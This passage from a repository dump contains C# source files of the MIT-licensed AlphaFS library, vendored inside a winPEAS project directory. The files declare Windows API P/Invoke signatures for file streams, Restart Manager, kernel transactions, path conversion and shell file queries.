succeeds, the return value is a search handle that can be used in subsequent calls to the function. /// If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call GetLastError. /// If no streams can be found, the function fails and GetLastError returns (38). /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] internal static extern SafeFindFileHandle FindFirstStreamW(string lpFileName, STREAM_INFO_LEVELS infoLevel, SafeGlobalMemoryBufferHandle lpFindStreamData, int dwFlags); /// Enumerates the first stream in the specified file or directory as a transacted operation. /// /// If the function succeeds, the return value is a search handle that can be used in subsequent calls to the function. /// If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] internal static extern SafeFindFileHandle FindFirstStreamTransactedW(string lpFileName, STREAM_INFO_LEVELS infoLevel, SafeGlobalMemoryBufferHandle lpFindStreamData, int dwFlags, SafeHandle hTransaction); /// Continues a stream search started by a previous call to the function. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. If no more streams can be found, GetLastError returns (38). /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool FindNextStreamW(SafeFindFileHandle handle, SafeGlobalMemoryBufferHandle lpFindStreamData); #region Restart Manager private const int CCH_RM_MAX_APP_NAME = 255; private const int CCH_RM_MAX_SVC_NAME = 63; internal enum RM_APP_TYPE { RmUnknownApp = 0, RmMainWindow = 1, RmOtherWindow = 2, RmService = 3, RmExplorer = 4, RmConsole = 5, RmCritical = 1000 } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct RM_UNIQUE_PROCESS { [MarshalAs(UnmanagedType.I4)] public readonly int dwProcessId; [MarshalAs(UnmanagedType.Struct)] public readonly FILETIME ProcessStartTime; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct RM_PROCESS_INFO { [MarshalAs(UnmanagedType.Struct)] public RM_UNIQUE_PROCESS Process; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCH_RM_MAX_APP_NAME + 1)] public readonly string strAppName; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCH_RM_MAX_SVC_NAME + 1)] public readonly string strServiceShortName; [MarshalAs(UnmanagedType.I4)] public readonly RM_APP_TYPE ApplicationType; [MarshalAs(UnmanagedType.U4)] public readonly uint AppStatus; [MarshalAs(UnmanagedType.U4)] public readonly uint TSSessionId; [MarshalAs(UnmanagedType.Bool)] public readonly bool bRestartable; } /// Ends the Restart Manager session. This function should be called by the primary installer that has previously started the session by calling the RmStartSession function. /// The RmEndSession function can be called by a secondary installer that is joined to the session once no more resources need to be registered by the secondary installer. ///   /// This is the most recent error received. The function can return one of the system error codes that are defined in Winerror.h. ///   /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("rstrtmgr.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.I4)] internal static extern int RmEndSession([MarshalAs(UnmanagedType.U4)] uint pSessionHandle); /// Gets a list of all applications and services that are currently using resources that have been registered with the Restart Manager session. ///   /// This is the most recent error received. The function can return one of the system error codes that are defined in Winerror.h. ///   /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("rstrtmgr.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.I4)] internal static extern int RmGetList([MarshalAs(UnmanagedType.U4)] uint dwSessionHandle, [MarshalAs(UnmanagedType.U4)] out uint pnProcInfoNeeded, [MarshalAs(UnmanagedType.U4)] ref uint pnProcInfo, [MarshalAs(UnmanagedType.LPArray)] [In, Out] RM_PROCESS_INFO[] rgAffectedApps, [MarshalAs(UnmanagedType.U4)] ref uint lpdwRebootReasons); /// Registers resources to a Restart Manager session. The Restart Manager uses the list of resources registered with the session to determine which applications and services must be shut down and restarted. /// Resources can be identified by filenames, service short names, or RM_UNIQUE_PROCESS structures that describe running applications. /// The RmRegisterResources function can be used by a primary or secondary installer. ///   /// This is the most recent error received. The function can return one of the system error codes that are defined in Winerror.h. ///   /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("rstrtmgr.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.I4)] internal static extern int RmRegisterResources([MarshalAs(UnmanagedType.U4)] uint pSessionHandle, [MarshalAs(UnmanagedType.U4)] uint nFiles, [MarshalAs(UnmanagedType.LPArray)] string[] rgsFilenames, [MarshalAs(UnmanagedType.U4)] uint nApplications, [In] RM_UNIQUE_PROCESS[] rgApplications, [MarshalAs(UnmanagedType.U4)] uint nServices, [MarshalAs(UnmanagedType.LPArray)] string[] rgsServiceNames); /// Starts a new Restart Manager session. A maximum of 64 Restart Manager sessions per user session can be open on the system at the same time. /// When this function starts a session, it returns a session handle and session key that can be used in subsequent calls to the Restart Manager API. ///   /// This is the most recent error received. The function can return one of the system error codes that are defined in Winerror.h. ///   /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("rstrtmgr.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.I4)] internal static extern int RmStartSession([MarshalAs(UnmanagedType.U4)] out uint pSessionHandle, [MarshalAs(UnmanagedType.I4)] int dwSessionFlags, [MarshalAs(UnmanagedType.LPWStr)] string strSessionKey); #endregion // Restart Manager } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.Handles.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Closes an open object handle. /// /// The CloseHandle function closes handles to the following objects: /// Access token, Communications device, Console input, Console screen buffer, Event, File, File mapping, I/O completion port, /// Job, Mailslot, Memory resource notification, Mutex, Named pipe, Pipe, Process, Semaphore, Thread, Transaction, Waitable /// timer. /// SetLastError is set to false. /// Minimum supported client: Windows 2000 Professional [desktop apps | Windows Store apps] /// Minimum supported server: Windows 2000 Server [desktop apps | Windows Store apps] /// /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// If the application is running under a debugger, the function will throw an exception if it receives either a handle value /// that is not valid or a pseudo-handle value.This can happen if you close a handle twice, or if you call CloseHandle on a handle /// returned by the FindFirstFile function instead of calling the FindClose function. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool CloseHandle(IntPtr hObject); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.KernelTransactions.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// /// Creates a new transaction object. /// /// /// Use the function to close the transaction handle. If the last transaction handle is closed /// beforea client calls the CommitTransaction function with the transaction handle, then KTM rolls back the transaction. /// Minimum supported client: Windows Vista /// Minimum supported server:Windows Server 2008 /// /// /// If the function succeeds, the return value is a handle to the transaction. /// If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call the GetLastError /// function. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("ktmw32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] internal static extern SafeKernelTransactionHandle CreateTransaction([MarshalAs(UnmanagedType.LPStruct)] Security.NativeMethods.SecurityAttributes lpTransactionAttributes, IntPtr uow, [MarshalAs(UnmanagedType.U4)] uint createOptions, [MarshalAs(UnmanagedType.U4)] uint isolationLevel, [MarshalAs(UnmanagedType.U4)] uint isolationFlags, [MarshalAs(UnmanagedType.U4)] int timeout, [MarshalAs(UnmanagedType.LPWStr)] string description); /// Requests that the specified transaction be committed. /// /// You can commit any transaction handle that has been opened or created using the TRANSACTION_COMMIT permission; any /// application can commit a transaction, not just the creator. /// This function can only be called if the transaction is still active, not prepared, pre-prepared, or rolled back. /// Minimum supported client: Windows Vista /// Minimum supported server:Windows Server 2008 /// /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is 0 (zero). To get extended error information, call the GetLastError function. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("ktmw32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool CommitTransaction(SafeHandle hTrans); /// /// Requests that the specified transaction be rolled back. This function is synchronous. /// /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call the GetLastError function. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("ktmw32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool RollbackTransaction(SafeHandle hTrans); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.PathManagement.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Retrieves the full path and file name of the specified file or directory. /// If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError. /// The GetFullPathName function is not recommended for multithreaded applications or shared library code. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetFullPathNameW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetFullPathName([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] uint nBufferLength, StringBuilder lpBuffer, IntPtr lpFilePart); /// Retrieves the full path and file name of the specified file or directory as a transacted operation. /// If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError. /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetFullPathNameTransactedW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetFullPathNameTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] uint nBufferLength, StringBuilder lpBuffer, IntPtr lpFilePart, SafeHandle hTransaction); /// Converts the specified path to its long form. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetLongPathNameW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetLongPathName([MarshalAs(UnmanagedType.LPWStr)] string lpszShortPath, StringBuilder lpszLongPath, [MarshalAs(UnmanagedType.U4)] uint cchBuffer); /// Converts the specified path to its long form as a transacted operation. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetLongPathNameTransactedW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetLongPathNameTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpszShortPath, StringBuilder lpszLongPath, [MarshalAs(UnmanagedType.U4)] uint cchBuffer, SafeHandle hTransaction); /// Retrieves the short path form of the specified path. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP /// Minimum supported server: Windows Server 2003 [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetShortPathNameW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetShortPathName([MarshalAs(UnmanagedType.LPWStr)] string lpszLongPath, StringBuilder lpszShortPath, [MarshalAs(UnmanagedType.U4)] uint cchBuffer); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.Shell32.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { #region AssocXxx /// Returns a pointer to an IQueryAssociations object. /// If this function succeeds, it returns S_OK. Otherwise, it returns an HRESULT error code. /// Minimum supported client: Windows 2000 Professional, Windows XP [desktop apps only] /// Minimum supported server: Windows 2000 Server [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("shlwapi.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint AssocCreate(Guid clsid, ref Guid riid, [MarshalAs(UnmanagedType.Interface)] out IQueryAssociations ppv); /// Searches for and retrieves a file or protocol association-related string from the registry. /// Return value Type: HRESULT. Returns a standard COM error value, including the following: S_OK, E_POINTER and S_FALSE. /// Minimum supported client: Windows 2000 Professional /// Minimum supported server: Windows 2000 Server [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("shlwapi.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "AssocQueryStringW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint AssocQueryString(Shell32.AssociationAttributes flags, Shell32.AssociationString str, [MarshalAs(UnmanagedType.LPWStr)] string pszAssoc, [MarshalAs(UnmanagedType.LPWStr)] string pszExtra, StringBuilder pszOut, [MarshalAs(UnmanagedType.U4)] out uint pcchOut); #region IQueryAssociations internal static readonly Guid ClsidQueryAssociations = new Guid("A07034FD-6CAA-4954-AC3F-97A27216F98A"); internal const string QueryAssociationsGuid = "C46CA590-3C3F-11D2-BEE6-0000F805CA57"; /// Exposes methods that simplify the process of retrieving information stored in the registry in association with defining a file type or protocol and associating it with an application. [Guid(QueryAssociationsGuid), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] [SuppressUnmanagedCodeSecurity] internal interface IQueryAssociations { /// Initializes the IQueryAssociations interface and sets the root key to the appropriate ProgID. /// If this method succeeds, it returns S_OK. Otherwise, it returns an HRESULT error code. /// Minimum supported client: Windows 2000 Professional, Windows XP [desktop apps only] /// Minimum supported server: Windows 2000 Server [desktop apps only] void Init(Shell32.AssociationAttributes flags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssoc, IntPtr hkProgid, IntPtr hwnd); /// Searches for and retrieves a file or protocol association-related string from the registry. /// A standard COM error value, including the following: S_OK, E_POINTER, S_FALSE /// Minimum supported client: Windows 2000 Professional, Windows XP [desktop apps only] /// Minimum supported server: Windows 2000 Server [desktop apps only] void GetString(Shell32.AssociationAttributes flags, Shell32.AssociationString str, [MarshalAs(UnmanagedType.LPWStr)] string pwszExtra, StringBuilder pwszOut, [MarshalAs(UnmanagedType.I4)] out int pcchOut); } #endregion // IQueryAssociations #endregion // AssocXxx #region Path /// Determines whether a path to a file system object such as a file or folder is valid. /// true if the file exists; otherwise, false. Call GetLastError for extended error information. /// /// This function tests the validity of the path. /// A path specified by Universal Naming Convention (UNC) is limited to a file only; that is, \\server\share\file is permitted. /// A network share path to a server or server share is not permitted; that is, \\server or \\server\share. /// This function returns FALSE if a mounted remote drive is out of service. /// /// Minimum supported client: Windows 2000 Professional /// Minimum supported server: Windows 2000 Server [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("Shlwapi.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "PathFileExistsW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool PathFileExists([MarshalAs(UnmanagedType.LPWStr)] string pszPath); /// Converts a file URL to a Microsoft MS-DOS path. /// Type: HRESULT /// If this function succeeds, it returns S_OK. Otherwise, it returns an HRESULT error code. /// /// Minimum supported client: Windows 2000 Professional, Windows XP [desktop apps only] /// Minimum supported server: Windows 2000 Server [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("shlwapi.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "PathCreateFromUrlW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint PathCreateFromUrl([MarshalAs(UnmanagedType.LPWStr)] string pszUrl, StringBuilder pszPath, [MarshalAs(UnmanagedType.U4)] ref uint pcchPath, [MarshalAs(UnmanagedType.U4)] uint dwFlags); /// Creates a path from a file URL. /// Type: HRESULT /// If this function succeeds, it returns S_OK. Otherwise, it returns an HRESULT error code. /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("shlwapi.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint PathCreateFromUrlAlloc([MarshalAs(UnmanagedType.LPWStr)] string pszIn, out StringBuilder pszPath, [MarshalAs(UnmanagedType.U4)] uint dwFlags); /// Converts a Microsoft MS-DOS path to a canonicalized URL. /// Type: HRESULT /// Returns S_FALSE if pszPath is already in URL format. In this case, pszPath will simply be copied to pszUrl. /// Otherwise, it returns S_OK if successful or a standard COM error value if not. /// /// /// UrlCreateFromPath does not support extended paths. These are paths that include the extended-length path prefix "\\?\". /// /// Minimum supported client: Windows 2000 Professional, Windows XP [desktop apps only] /// Minimum supported server: Windows 2000 Server [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("shlwapi.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "UrlCreateFromPathW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint UrlCreateFromPath([MarshalAs(UnmanagedType.LPWStr)] string pszPath, StringBuilder pszUrl, ref uint pcchUrl, [MarshalAs(UnmanagedType.U4)] uint dwFlags); /// Tests whether a URL is a specified type. /// /// Type: BOOL /// For all but one of the URL types, UrlIs returns true if the URL is the specified type, true otherwise. /// If UrlIs is set to , UrlIs will attempt to determine the URL scheme. /// If the function is able to determine a scheme, it returns true, or false. /// /// Minimum supported client: Windows 2000 Professional, Windows XP [desktop apps only] /// Minimum supported server: Windows 2000 Server [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("shlwapi.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "UrlIsW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool UrlIs([MarshalAs(UnmanagedType.LPWStr)] string pszUrl, Shell32.UrlType urlIs); #endregion // Path /// Destroys an icon and frees any memory the icon occupied. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows 2000 Server [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("user32.dll", SetLastError = false)] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool DestroyIcon(IntPtr hIcon); /// Retrieves information about an object in the file system, such as a file, folder, directory, or drive root. /// You should call this function from a background thread. Failure to do so could cause the UI to stop responding. /// Minimum supported client: Windows 2000 Professional [desktop apps only] /// Minimum supported server: Windows 2000 Server [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("shell32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "SHGetFileInfoW"), SuppressUnmanagedCodeSecurity] internal static extern IntPtr ShGetFileInfo([MarshalAs(UnmanagedType.LPWStr)] string pszPath, FileAttributes dwFileAttributes, [MarshalAs(UnmanagedType.Struct)] out Shell32.FileInfo psfi, [MarshalAs(UnmanagedType.U4)] uint cbFileInfo, [MarshalAs(UnmanagedType.U4)] Shell32.FileAttributes uFlags); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.Utilities.cs ================================================ /* 